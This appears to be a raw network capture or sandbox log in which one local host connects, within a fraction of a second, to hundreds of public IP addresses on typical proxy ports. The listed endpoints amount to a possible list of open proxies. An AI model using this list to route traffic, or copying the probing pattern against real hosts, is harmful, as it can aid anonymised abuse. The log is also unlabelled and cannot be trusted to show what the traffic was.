Mar 11, 2024 15:21:03.325120926 CET	49780	80	192.168.2.9	50.145.6.32
Mar 11, 2024 15:21:03.325122118 CET	50881	1080	192.168.2.9	103.47.93.225
Mar 11, 2024 15:21:03.325124025 CET	50878	8080	192.168.2.9	14.207.41.71
Mar 11, 2024 15:21:03.325133085 CET	50876	4145	192.168.2.9	192.12.113.232
Mar 11, 2024 15:21:03.325134993 CET	50999	8080	192.168.2.9	89.42.166.163
Mar 11, 2024 15:21:03.325134993 CET	50887	80	192.168.2.9	107.148.201.157
Mar 11, 2024 15:21:03.325146914 CET	50035	8080	192.168.2.9	34.84.95.189
Mar 11, 2024 15:21:03.325148106 CET	50892	58053	192.168.2.9	195.177.217.131
Mar 11, 2024 15:21:03.325148106 CET	50893	4153	192.168.2.9	92.51.78.66
Mar 11, 2024 15:21:03.325156927 CET	50103	46249	192.168.2.9	167.172.109.12
Mar 11, 2024 15:21:03.325156927 CET	50890	1976	192.168.2.9	41.65.236.52
Mar 11, 2024 15:21:03.325158119 CET	50889	999	192.168.2.9	187.189.175.136
Mar 11, 2024 15:21:03.325158119 CET	50886	8080	192.168.2.9	95.217.137.46
Mar 11, 2024 15:21:03.325158119 CET	50888	9090	192.168.2.9	189.240.60.166
Mar 11, 2024 15:21:03.325158119 CET	50896	8080	192.168.2.9	66.211.155.34
Mar 11, 2024 15:21:03.325217962 CET	50900	20962	192.168.2.9	148.66.130.187
Mar 11, 2024 15:21:03.325217962 CET	50895	8111	192.168.2.9	84.241.188.138
Mar 11, 2024 15:21:03.325217962 CET	50902	80	192.168.2.9	141.147.9.254
Mar 11, 2024 15:21:03.325217962 CET	50897	8118	192.168.2.9	94.23.84.25
Mar 11, 2024 15:21:03.325217962 CET	50899	40033	192.168.2.9	131.72.68.164
Mar 11, 2024 15:21:03.325371027 CET	50891	9090	192.168.2.9	189.240.60.168
Mar 11, 2024 15:21:03.325371981 CET	51209	10007	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:03.325582027 CET	51181	3128	192.168.2.9	3.37.125.76
Mar 11, 2024 15:21:03.325844049 CET	51442	15805	192.168.2.9	172.93.111.87
Mar 11, 2024 15:21:03.326067924 CET	51443	10008	192.168.2.9	147.75.92.244
Mar 11, 2024 15:21:03.326095104 CET	8080	50035	34.84.95.189	192.168.2.9
Mar 11, 2024 15:21:03.326144934 CET	50035	8080	192.168.2.9	34.84.95.189
Mar 11, 2024 15:21:03.326191902 CET	51171	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:03.326966047 CET	51444	80	192.168.2.9	50.168.163.179
Mar 11, 2024 15:21:03.327975988 CET	50146	7302	192.168.2.9	60.190.68.154
Mar 11, 2024 15:21:03.328078985 CET	51445	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:03.328416109 CET	9764	51252	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:03.328530073 CET	51252	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:03.328613043 CET	51252	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:03.329369068 CET	51447	9764	192.168.2.9	162.243.102.207
Mar 11, 2024 15:21:03.329565048 CET	51446	7302	192.168.2.9	60.190.68.154
Mar 11, 2024 15:21:03.329768896 CET	51448	3128	192.168.2.9	129.158.196.9
Mar 11, 2024 15:21:03.331321001 CET	23685	50944	67.43.227.230	192.168.2.9
Mar 11, 2024 15:21:03.331779003 CET	1388	50395	87.126.65.11	192.168.2.9
Mar 11, 2024 15:21:03.331793070 CET	10677	50053	72.10.160.173	192.168.2.9
Mar 11, 2024 15:21:03.331877947 CET	3199	50949	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:03.333056927 CET	50884	80	192.168.2.9	3.127.62.252
Mar 11, 2024 15:21:03.333435059 CET	51449	8080	192.168.2.9	197.232.47.122
Mar 11, 2024 15:21:03.333513975 CET	51450	4153	192.168.2.9	194.8.232.46
Mar 11, 2024 15:21:03.333735943 CET	51451	32216	192.168.2.9	166.62.38.100
Mar 11, 2024 15:21:03.334532022 CET	10011	51052	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:03.334584951 CET	10011	51052	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:03.334603071 CET	10011	51052	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:03.334661007 CET	51052	10011	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:03.335191011 CET	51452	4145	192.168.2.9	103.200.135.228
Mar 11, 2024 15:21:03.335861921 CET	51453	8080	192.168.2.9	194.124.36.28
Mar 11, 2024 15:21:03.336714029 CET	9764	51252	162.243.102.207	192.168.2.9
Mar 11, 2024 15:21:03.337280035 CET	51454	80	192.168.2.9	104.20.179.187
Mar 11, 2024 15:21:03.338181973 CET	51455	80	192.168.2.9	104.16.226.6
Mar 11, 2024 15:21:03.338582039 CET	1080	51106	89.218.8.152	192.168.2.9
Mar 11, 2024 15:21:03.338596106 CET	8080	49726	46.209.54.102	192.168.2.9
Mar 11, 2024 15:21:03.338644028 CET	51106	1080	192.168.2.9	89.218.8.152
Mar 11, 2024 15:21:03.338769913 CET	51106	1080	192.168.2.9	89.218.8.152
Mar 11, 2024 15:21:03.338912964 CET	1080	51106	89.218.8.152	192.168.2.9
Mar 11, 2024 15:21:03.339143991 CET	51456	15673	192.168.2.9	43.163.192.3
Mar 11, 2024 15:21:03.339530945 CET	51457	1080	192.168.2.9	89.218.8.152
Mar 11, 2024 15:21:03.339610100 CET	8080	51326	180.191.16.5	192.168.2.9
Mar 11, 2024 15:21:03.339648008 CET	80	51163	117.160.250.163	192.168.2.9
Mar 11, 2024 15:21:03.339823961 CET	51163	80	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:03.339930058 CET	51163	80	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:03.340662003 CET	51458	999	192.168.2.9	190.43.92.240
Mar 11, 2024 15:21:03.340719938 CET	50421	4145	192.168.2.9	107.181.168.145
Mar 11, 2024 15:21:03.340723038 CET	50903	4145	192.168.2.9	45.70.237.134
Mar 11, 2024 15:21:03.340723038 CET	50915	60080	192.168.2.9	87.255.200.108
Mar 11, 2024 15:21:03.340740919 CET	50907	4145	192.168.2.9	24.249.199.12
Mar 11, 2024 15:21:03.340745926 CET	50909	56427	192.168.2.9	161.97.170.82
Mar 11, 2024 15:21:03.340748072 CET	50927	80	192.168.2.9	3.143.37.255
Mar 11, 2024 15:21:03.340748072 CET	50913	62645	192.168.2.9	66.84.6.21
Mar 11, 2024 15:21:03.340748072 CET	50912	8989	192.168.2.9	182.253.66.148
Mar 11, 2024 15:21:03.340764999 CET	50926	3128	192.168.2.9	103.159.194.191
Mar 11, 2024 15:21:03.340764999 CET	50930	999	192.168.2.9	38.156.233.76
Mar 11, 2024 15:21:03.340781927 CET	50901	6969	192.168.2.9	103.199.155.18
Mar 11, 2024 15:21:03.340796947 CET	50923	5678	192.168.2.9	36.66.133.19
Mar 11, 2024 15:21:03.340796947 CET	50932	8080	192.168.2.9	154.73.29.161
Mar 11, 2024 15:21:03.340796947 CET	50939	8080	192.168.2.9	46.209.207.151
Mar 11, 2024 15:21:03.340823889 CET	50906	80	192.168.2.9	20.218.123.227
Mar 11, 2024 15:21:03.340825081 CET	50908	56740	192.168.2.9	66.248.237.179
Mar 11, 2024 15:21:03.340825081 CET	50363	80	192.168.2.9	50.145.6.38
Mar 11, 2024 15:21:03.340825081 CET	50925	80	192.168.2.9	134.122.26.11
Mar 11, 2024 15:21:03.340825081 CET	50936	33192	192.168.2.9	217.21.148.50
Mar 11, 2024 15:21:03.341778040 CET	51459	4145	192.168.2.9	184.178.172.26
Mar 11, 2024 15:21:03.342493057 CET	51460	82	192.168.2.9	202.12.80.6
Mar 11, 2024 15:21:03.343761921 CET	51461	8080	192.168.2.9	188.132.222.171
Mar 11, 2024 15:21:03.344717979 CET	51462	9090	192.168.2.9	91.241.217.58
Mar 11, 2024 15:21:03.345472097 CET	51463	80	192.168.2.9	50.174.145.15
Mar 11, 2024 15:21:03.346519947 CET	51464	61579	192.168.2.9	162.241.46.40
Mar 11, 2024 15:21:03.347397089 CET	51465	9999	192.168.2.9	171.35.172.147
Mar 11, 2024 15:21:03.348511934 CET	51466	9080	192.168.2.9	12.88.29.66
Mar 11, 2024 15:21:03.349149942 CET	51467	4145	192.168.2.9	68.1.210.163
Mar 11, 2024 15:21:03.349724054 CET	4145	50665	36.90.61.224	192.168.2.9
Mar 11, 2024 15:21:03.350228071 CET	51468	4153	192.168.2.9	193.158.12.138
Mar 11, 2024 15:21:03.351061106 CET	80	51255	104.25.114.28	192.168.2.9
Mar 11, 2024 15:21:03.351151943 CET	51469	10181	192.168.2.9	138.197.138.160
Mar 11, 2024 15:21:03.352216005 CET	51470	1080	192.168.2.9	5.252.23.220
Mar 11, 2024 15:21:03.352663040 CET	31147	50424	209.121.164.50	192.168.2.9
Mar 11, 2024 15:21:03.354268074 CET	51471	56974	192.168.2.9	190.220.1.173
Mar 11, 2024 15:21:03.354289055 CET	33427	50741	5.39.19.154	192.168.2.9
Mar 11, 2024 15:21:03.354315996 CET	80	51374	133.18.234.13	192.168.2.9
Mar 11, 2024 15:21:03.354429960 CET	51374	80	192.168.2.9	133.18.234.13
Mar 11, 2024 15:21:03.354485035 CET	51472	37793	192.168.2.9	159.224.243.185
Mar 11, 2024 15:21:03.354500055 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:03.354824066 CET	51374	80	192.168.2.9	133.18.234.13
Mar 11, 2024 15:21:03.356364965 CET	50918	58211	192.168.2.9	51.161.99.113
Mar 11, 2024 15:21:03.356373072 CET	50916	34405	192.168.2.9	212.110.188.216
Mar 11, 2024 15:21:03.356375933 CET	50729	80	192.168.2.9	143.198.226.25
Mar 11, 2024 15:21:03.356375933 CET	50934	8080	192.168.2.9	103.78.96.18
Mar 11, 2024 15:21:03.356395006 CET	50943	999	192.168.2.9	179.1.133.33
Mar 11, 2024 15:21:03.356398106 CET	50062	4153	192.168.2.9	103.94.133.91
Mar 11, 2024 15:21:03.356398106 CET	50940	80	192.168.2.9	3.24.178.81
Mar 11, 2024 15:21:03.356399059 CET	50937	3128	192.168.2.9	86.107.178.103
Mar 11, 2024 15:21:03.356398106 CET	50935	53281	192.168.2.9	88.119.139.237
Mar 11, 2024 15:21:03.356399059 CET	50924	8082	192.168.2.9	122.54.147.110
Mar 11, 2024 15:21:03.356398106 CET	50920	10983	192.168.2.9	51.38.63.124
Mar 11, 2024 15:21:03.356399059 CET	50929	8730	192.168.2.9	166.62.38.100
Mar 11, 2024 15:21:03.356395006 CET	50124	3128	192.168.2.9	144.91.106.93
Mar 11, 2024 15:21:03.356476068 CET	50951	999	192.168.2.9	181.191.75.133
Mar 11, 2024 15:21:03.356519938 CET	50289	80	192.168.2.9	50.168.210.226
Mar 11, 2024 15:21:03.356522083 CET	50137	8080	192.168.2.9	49.13.124.150
Mar 11, 2024 15:21:03.357250929 CET	3128	50819	172.233.255.11	192.168.2.9
Mar 11, 2024 15:21:03.360233068 CET	8080	51348	42.200.196.208	192.168.2.9
Mar 11, 2024 15:21:03.360946894 CET	50424	31147	192.168.2.9	209.121.164.50
Mar 11, 2024 15:21:03.361023903 CET	4145	51113	206.220.175.2	192.168.2.9
Mar 11, 2024 15:21:03.361037970 CET	9002	50049	111.16.50.12	192.168.2.9
Mar 11, 2024 15:21:03.361109972 CET	50049	9002	192.168.2.9	111.16.50.12
Mar 11, 2024 15:21:03.361372948 CET	50049	9002	192.168.2.9	111.16.50.12
Mar 11, 2024 15:21:03.361783028 CET	51041	8000	192.168.2.9	198.199.120.65
Mar 11, 2024 15:21:03.361916065 CET	3128	50239	13.234.24.116	192.168.2.9
Mar 11, 2024 15:21:03.362844944 CET	50239	3128	192.168.2.9	13.234.24.116
Mar 11, 2024 15:21:03.363646030 CET	1645	51044	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:03.364165068 CET	51473	8080	192.168.2.9	27.121.87.187
Mar 11, 2024 15:21:03.364531994 CET	80	51087	50.207.199.83	192.168.2.9
Mar 11, 2024 15:21:03.364583969 CET	80	50528	211.128.96.206	192.168.2.9
Mar 11, 2024 15:21:03.368104935 CET	80	49887	50.170.90.27	192.168.2.9
Mar 11, 2024 15:21:03.368232965 CET	51474	51507	192.168.2.9	135.148.10.161
Mar 11, 2024 15:21:03.368527889 CET	51475	34586	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:03.368737936 CET	51476	3128	192.168.2.9	185.250.27.54
Mar 11, 2024 15:21:03.368913889 CET	51477	3129	192.168.2.9	101.255.208.18
Mar 11, 2024 15:21:03.370254993 CET	80	51224	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.370266914 CET	80	51224	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:03.370368004 CET	51224	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.370476007 CET	51224	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.371241093 CET	51478	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:03.371831894 CET	51480	5678	192.168.2.9	103.214.156.40
Mar 11, 2024 15:21:03.371923923 CET	50854	3128	192.168.2.9	81.177.6.68
Mar 11, 2024 15:21:03.371977091 CET	50894	38832	192.168.2.9	128.199.196.31
Mar 11, 2024 15:21:03.371978998 CET	51003	80	192.168.2.9	213.33.126.130
Mar 11, 2024 15:21:03.371984959 CET	50102	21358	192.168.2.9	66.42.60.190
Mar 11, 2024 15:21:03.371995926 CET	50212	80	192.168.2.9	50.173.140.145
Mar 11, 2024 15:21:03.372004986 CET	50945	41878	192.168.2.9	213.226.11.149
Mar 11, 2024 15:21:03.372008085 CET	51201	4145	192.168.2.9	104.37.135.145
Mar 11, 2024 15:21:03.372004986 CET	50320	16683	192.168.2.9	72.10.160.94
Mar 11, 2024 15:21:03.372005939 CET	50948	7176	192.168.2.9	128.199.221.91
Mar 11, 2024 15:21:03.372014999 CET	51142	4145	192.168.2.9	185.169.181.15
Mar 11, 2024 15:21:03.372025013 CET	50955	4145	192.168.2.9	1.2.209.194
Mar 11, 2024 15:21:03.372025013 CET	50952	3128	192.168.2.9	172.105.107.223
Mar 11, 2024 15:21:03.372025013 CET	50963	7070	192.168.2.9	104.250.117.48
Mar 11, 2024 15:21:03.372025013 CET	50956	38588	192.168.2.9	198.12.253.239
Mar 11, 2024 15:21:03.372025013 CET	50959	4145	192.168.2.9	101.109.170.182
Mar 11, 2024 15:21:03.372026920 CET	50953	80	192.168.2.9	193.136.97.17
Mar 11, 2024 15:21:03.372026920 CET	50960	80	192.168.2.9	147.139.140.74
Mar 11, 2024 15:21:03.372026920 CET	50950	6666	192.168.2.9	188.255.220.110
Mar 11, 2024 15:21:03.372045040 CET	50957	2829	192.168.2.9	117.69.234.40
Mar 11, 2024 15:21:03.372046947 CET	50969	34071	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:03.372046947 CET	50971	7999	192.168.2.9	104.238.111.107
Mar 11, 2024 15:21:03.372049093 CET	50970	51918	192.168.2.9	162.214.90.49
Mar 11, 2024 15:21:03.372052908 CET	50958	1981	192.168.2.9	154.236.179.235
Mar 11, 2024 15:21:03.372052908 CET	50962	34099	192.168.2.9	162.241.50.179
Mar 11, 2024 15:21:03.372054100 CET	50977	1080	192.168.2.9	209.45.102.164
Mar 11, 2024 15:21:03.372056007 CET	50975	5310	192.168.2.9	27.79.88.138
Mar 11, 2024 15:21:03.372056007 CET	50964	80	192.168.2.9	51.210.127.15
Mar 11, 2024 15:21:03.372056007 CET	50987	53281	192.168.2.9	200.54.194.13
Mar 11, 2024 15:21:03.372059107 CET	50968	46795	192.168.2.9	139.162.166.167
Mar 11, 2024 15:21:03.372066975 CET	50990	36694	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:03.372076035 CET	50974	43241	192.168.2.9	191.243.46.30
Mar 11, 2024 15:21:03.372076035 CET	50982	61792	192.168.2.9	162.240.78.74
Mar 11, 2024 15:21:03.372076035 CET	50983	999	192.168.2.9	138.118.200.49
Mar 11, 2024 15:21:03.372076035 CET	50985	58275	192.168.2.9	162.214.191.59
Mar 11, 2024 15:21:03.372076035 CET	50986	8080	192.168.2.9	176.98.81.85
Mar 11, 2024 15:21:03.372076035 CET	50989	29497	192.168.2.9	62.171.131.101
Mar 11, 2024 15:21:03.372080088 CET	50976	37647	192.168.2.9	89.237.33.1
Mar 11, 2024 15:21:03.372080088 CET	50997	9091	192.168.2.9	222.179.155.90
Mar 11, 2024 15:21:03.372080088 CET	51000	13574	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:03.372081995 CET	51013	44387	192.168.2.9	148.72.215.230
Mar 11, 2024 15:21:03.372081995 CET	51015	18636	192.168.2.9	51.79.87.144
Mar 11, 2024 15:21:03.372088909 CET	50992	29992	192.168.2.9	165.227.104.122
Mar 11, 2024 15:21:03.372098923 CET	50994	9999	192.168.2.9	81.200.155.125
Mar 11, 2024 15:21:03.372098923 CET	51005	5678	192.168.2.9	46.231.72.35
Mar 11, 2024 15:21:03.372102976 CET	51002	3125	192.168.2.9	103.159.96.131
Mar 11, 2024 15:21:03.372102976 CET	50995	1080	192.168.2.9	103.47.93.221
Mar 11, 2024 15:21:03.372098923 CET	50998	8888	192.168.2.9	136.244.99.51
Mar 11, 2024 15:21:03.372176886 CET	51479	9367	192.168.2.9	50.63.12.33
Mar 11, 2024 15:21:03.372194052 CET	50996	38586	192.168.2.9	160.153.245.187
Mar 11, 2024 15:21:03.372359037 CET	5678	50850	43.245.243.58	192.168.2.9
Mar 11, 2024 15:21:03.374078989 CET	51481	8080	192.168.2.9	190.6.56.133
Mar 11, 2024 15:21:03.374676943 CET	51482	52858	192.168.2.9	195.177.217.131
Mar 11, 2024 15:21:03.375390053 CET	51483	3128	192.168.2.9	13.37.89.201
Mar 11, 2024 15:21:03.376507044 CET	51484	5678	192.168.2.9	186.248.87.172
Mar 11, 2024 15:21:03.377554893 CET	1080	50647	113.121.66.250	192.168.2.9
Mar 11, 2024 15:21:03.377733946 CET	51485	14455	192.168.2.9	192.252.209.155
Mar 11, 2024 15:21:03.378106117 CET	3128	50693	18.135.211.182	192.168.2.9
Mar 11, 2024 15:21:03.378139973 CET	80	51349	119.93.129.34	192.168.2.9
Mar 11, 2024 15:21:03.379537106 CET	50693	3128	192.168.2.9	18.135.211.182
Mar 11, 2024 15:21:03.379584074 CET	51486	8089	192.168.2.9	183.165.227.179
Mar 11, 2024 15:21:03.379923105 CET	51487	8080	192.168.2.9	188.166.252.135
Mar 11, 2024 15:21:03.380072117 CET	8080	51153	103.190.54.141	192.168.2.9
Mar 11, 2024 15:21:03.380969048 CET	1081	51219	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:03.381028891 CET	80	51365	104.24.193.186	192.168.2.9
Mar 11, 2024 15:21:03.381067038 CET	80	51365	104.24.193.186	192.168.2.9
Mar 11, 2024 15:21:03.381334066 CET	51365	80	192.168.2.9	104.24.193.186
Mar 11, 2024 15:21:03.381747007 CET	80	51365	104.24.193.186	192.168.2.9
Mar 11, 2024 15:21:03.381824970 CET	51365	80	192.168.2.9	104.24.193.186
Mar 11, 2024 15:21:03.382282019 CET	51488	35942	192.168.2.9	45.117.179.179
Mar 11, 2024 15:21:03.382565022 CET	51489	8081	192.168.2.9	12.55.68.54
Mar 11, 2024 15:21:03.383011103 CET	1081	51219	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:03.383583069 CET	51490	1080	192.168.2.9	35.154.71.72
Mar 11, 2024 15:21:03.383949041 CET	51491	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:03.385051966 CET	51492	1080	192.168.2.9	103.47.93.252
Mar 11, 2024 15:21:03.386266947 CET	80	49962	50.173.140.149	192.168.2.9
Mar 11, 2024 15:21:03.386281013 CET	4145	51245	174.64.199.82	192.168.2.9
Mar 11, 2024 15:21:03.386301041 CET	51493	80	192.168.2.9	50.172.39.98
Mar 11, 2024 15:21:03.386311054 CET	4145	51245	174.64.199.82	192.168.2.9
Mar 11, 2024 15:21:03.386742115 CET	51494	7878	192.168.2.9	202.6.233.59
Mar 11, 2024 15:21:03.387245893 CET	51495	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:03.387622118 CET	50979	8080	192.168.2.9	103.124.196.130
Mar 11, 2024 15:21:03.387623072 CET	50295	80	192.168.2.9	50.168.210.232
Mar 11, 2024 15:21:03.387623072 CET	51004	5678	192.168.2.9	198.89.91.198
Mar 11, 2024 15:21:03.387622118 CET	50973	8888	192.168.2.9	154.64.219.2
Mar 11, 2024 15:21:03.387631893 CET	50186	80	192.168.2.9	50.174.7.152
Mar 11, 2024 15:21:03.387654066 CET	50993	8089	192.168.2.9	103.143.8.122
Mar 11, 2024 15:21:03.387654066 CET	51031	4145	192.168.2.9	103.66.232.169
Mar 11, 2024 15:21:03.387660027 CET	49886	50109	192.168.2.9	31.24.44.92
Mar 11, 2024 15:21:03.387660027 CET	50984	23471	192.168.2.9	138.201.21.228
Mar 11, 2024 15:21:03.387661934 CET	51006	8080	192.168.2.9	148.101.163.165
Mar 11, 2024 15:21:03.387660027 CET	50991	8080	192.168.2.9	103.133.24.19
Mar 11, 2024 15:21:03.387660027 CET	51012	5678	192.168.2.9	78.61.27.207
Mar 11, 2024 15:21:03.387660027 CET	51019	9000	192.168.2.9	61.254.81.88
Mar 11, 2024 15:21:03.387660027 CET	51023	18809	192.168.2.9	162.214.121.11
Mar 11, 2024 15:21:03.387660027 CET	51029	8118	192.168.2.9	88.99.131.6
Mar 11, 2024 15:21:03.387677908 CET	51024	8080	192.168.2.9	175.100.98.190
Mar 11, 2024 15:21:03.387677908 CET	51026	4153	192.168.2.9	112.109.20.198
Mar 11, 2024 15:21:03.387677908 CET	51033	999	192.168.2.9	190.94.212.151
Mar 11, 2024 15:21:03.387681007 CET	51027	80	192.168.2.9	162.223.91.11
Mar 11, 2024 15:21:03.387681007 CET	51028	61818	192.168.2.9	159.223.71.71
Mar 11, 2024 15:21:03.387685061 CET	51007	8080	192.168.2.9	188.132.222.44
Mar 11, 2024 15:21:03.387685061 CET	51025	5678	192.168.2.9	159.192.145.153
Mar 11, 2024 15:21:03.387685061 CET	51034	6060	192.168.2.9	185.165.232.65
Mar 11, 2024 15:21:03.387685061 CET	51036	24834	192.168.2.9	107.180.88.41
Mar 11, 2024 15:21:03.387701035 CET	51048	8080	192.168.2.9	88.135.210.179
Mar 11, 2024 15:21:03.387701988 CET	51039	17464	192.168.2.9	66.228.35.209
Mar 11, 2024 15:21:03.387707949 CET	51038	8080	192.168.2.9	115.167.124.75
Mar 11, 2024 15:21:03.387708902 CET	51050	57364	192.168.2.9	162.241.53.72
Mar 11, 2024 15:21:03.387718916 CET	51010	3128	192.168.2.9	62.33.207.202
Mar 11, 2024 15:21:03.387718916 CET	51035	12581	192.168.2.9	72.167.222.113
Mar 11, 2024 15:21:03.387718916 CET	51037	999	192.168.2.9	45.174.87.18
Mar 11, 2024 15:21:03.388365030 CET	51496	25847	192.168.2.9	62.171.131.101
Mar 11, 2024 15:21:03.389014959 CET	80	51240	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:03.389429092 CET	80	51240	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:03.390187979 CET	51497	7777	192.168.2.9	218.6.120.111
Mar 11, 2024 15:21:03.390243053 CET	32708	51378	217.23.11.194	192.168.2.9
Mar 11, 2024 15:21:03.390316010 CET	51378	32708	192.168.2.9	217.23.11.194
Mar 11, 2024 15:21:03.390362978 CET	51498	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:03.390571117 CET	51499	4153	192.168.2.9	177.159.145.26
Mar 11, 2024 15:21:03.390681982 CET	51378	32708	192.168.2.9	217.23.11.194
Mar 11, 2024 15:21:03.392232895 CET	51500	999	192.168.2.9	190.94.212.125
Mar 11, 2024 15:21:03.393378973 CET	8080	51216	185.247.224.85	192.168.2.9
Mar 11, 2024 15:21:03.393387079 CET	51501	999	192.168.2.9	190.114.245.122
Mar 11, 2024 15:21:03.393392086 CET	1080	51062	160.226.237.187	192.168.2.9
Mar 11, 2024 15:21:03.393692970 CET	8080	51216	185.247.224.85	192.168.2.9
Mar 11, 2024 15:21:03.393760920 CET	51216	8080	192.168.2.9	185.247.224.85
Mar 11, 2024 15:21:03.393838882 CET	51216	8080	192.168.2.9	185.247.224.85
Mar 11, 2024 15:21:03.394088984 CET	1080	51062	160.226.237.187	192.168.2.9
Mar 11, 2024 15:21:03.394366026 CET	5881	50106	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:03.394864082 CET	51502	8080	192.168.2.9	185.247.224.85
Mar 11, 2024 15:21:03.395265102 CET	51503	1080	192.168.2.9	160.226.237.187
Mar 11, 2024 15:21:03.395323992 CET	4145	51415	68.1.210.189	192.168.2.9
Mar 11, 2024 15:21:03.395375967 CET	51415	4145	192.168.2.9	68.1.210.189
Mar 11, 2024 15:21:03.395524979 CET	51504	999	192.168.2.9	200.24.130.138
Mar 11, 2024 15:21:03.395996094 CET	51505	8080	192.168.2.9	103.90.156.248
Mar 11, 2024 15:21:03.396900892 CET	51506	10670	192.168.2.9	107.180.90.42
Mar 11, 2024 15:21:03.397713900 CET	51507	34761	192.168.2.9	148.72.206.84
Mar 11, 2024 15:21:03.398158073 CET	5678	51353	46.200.72.130	192.168.2.9
Mar 11, 2024 15:21:03.398556948 CET	51508	64052	192.168.2.9	37.187.73.7
Mar 11, 2024 15:21:03.399454117 CET	51509	5678	192.168.2.9	37.52.13.164
Mar 11, 2024 15:21:03.399862051 CET	30172	50831	176.9.119.252	192.168.2.9
Mar 11, 2024 15:21:03.400424004 CET	51510	8080	192.168.2.9	213.184.153.66
Mar 11, 2024 15:21:03.401319981 CET	51511	58195	192.168.2.9	65.49.82.7
Mar 11, 2024 15:21:03.401434898 CET	4153	50587	88.135.44.39	192.168.2.9
Mar 11, 2024 15:21:03.402273893 CET	51512	31131	192.168.2.9	198.12.253.117
Mar 11, 2024 15:21:03.402699947 CET	29492	51357	128.199.218.40	192.168.2.9
Mar 11, 2024 15:21:03.403219938 CET	50003	9002	192.168.2.9	220.248.70.237
Mar 11, 2024 15:21:03.403243065 CET	51022	4145	192.168.2.9	103.51.46.2
Mar 11, 2024 15:21:03.403251886 CET	51021	4153	192.168.2.9	185.32.4.65
Mar 11, 2024 15:21:03.403264999 CET	51017	1080	192.168.2.9	64.124.145.1
Mar 11, 2024 15:21:03.403265953 CET	51047	44734	192.168.2.9	95.111.227.164
Mar 11, 2024 15:21:03.403264999 CET	50362	10713	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:03.403265953 CET	50352	24809	192.168.2.9	72.10.160.90
Mar 11, 2024 15:21:03.403265953 CET	49775	11679	192.168.2.9	67.43.236.20
Mar 11, 2024 15:21:03.403271914 CET	51147	4153	192.168.2.9	1.179.194.137
Mar 11, 2024 15:21:03.403273106 CET	50369	2509	192.168.2.9	67.43.228.250
Mar 11, 2024 15:21:03.403273106 CET	49772	5385	192.168.2.9	72.10.160.170
Mar 11, 2024 15:21:03.403291941 CET	51018	8080	192.168.2.9	103.217.217.190
Mar 11, 2024 15:21:03.403291941 CET	49880	3128	192.168.2.9	104.248.146.99
Mar 11, 2024 15:21:03.403300047 CET	51046	8080	192.168.2.9	103.211.107.62
Mar 11, 2024 15:21:03.403301954 CET	4145	51414	162.253.68.97	192.168.2.9
Mar 11, 2024 15:21:03.403305054 CET	51045	8080	192.168.2.9	107.178.9.186
Mar 11, 2024 15:21:03.403306007 CET	51049	999	192.168.2.9	181.78.19.248
Mar 11, 2024 15:21:03.403306007 CET	51040	64871	192.168.2.9	82.223.121.72
Mar 11, 2024 15:21:03.403306007 CET	51043	999	192.168.2.9	190.94.212.150
Mar 11, 2024 15:21:03.403323889 CET	51178	24863	192.168.2.9	67.43.236.19
Mar 11, 2024 15:21:03.403325081 CET	49892	3128	192.168.2.9	160.16.90.35
Mar 11, 2024 15:21:03.403873920 CET	51513	5678	192.168.2.9	116.118.98.10
Mar 11, 2024 15:21:03.404928923 CET	51514	80	192.168.2.9	185.167.59.215
Mar 11, 2024 15:21:03.405050039 CET	1080	50638	181.3.51.47	192.168.2.9
Mar 11, 2024 15:21:03.405625105 CET	51515	16203	192.168.2.9	148.72.209.174
Mar 11, 2024 15:21:03.406399965 CET	51516	4145	192.168.2.9	197.254.7.86
Mar 11, 2024 15:21:03.406490088 CET	3366	50796	212.5.143.42	192.168.2.9
Mar 11, 2024 15:21:03.407186031 CET	51517	8080	192.168.2.9	103.153.232.41
Mar 11, 2024 15:21:03.408314943 CET	51518	60080	192.168.2.9	128.14.226.130
Mar 11, 2024 15:21:03.409862041 CET	51519	8080	192.168.2.9	183.88.184.48
Mar 11, 2024 15:21:03.409902096 CET	3128	51104	3.122.84.99	192.168.2.9
Mar 11, 2024 15:21:03.410295010 CET	7117	51069	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:03.410609961 CET	51520	3128	192.168.2.9	176.113.73.102
Mar 11, 2024 15:21:03.411812067 CET	51104	3128	192.168.2.9	3.122.84.99
Mar 11, 2024 15:21:03.412224054 CET	51521	35891	192.168.2.9	174.138.176.75
Mar 11, 2024 15:21:03.412343979 CET	3128	50602	130.162.243.68	192.168.2.9
Mar 11, 2024 15:21:03.412404060 CET	50602	3128	192.168.2.9	130.162.243.68
Mar 11, 2024 15:21:03.412506104 CET	51522	80	192.168.2.9	190.116.2.52
Mar 11, 2024 15:21:03.412713051 CET	50602	3128	192.168.2.9	130.162.243.68
Mar 11, 2024 15:21:03.412959099 CET	1080	50755	65.1.244.232	192.168.2.9
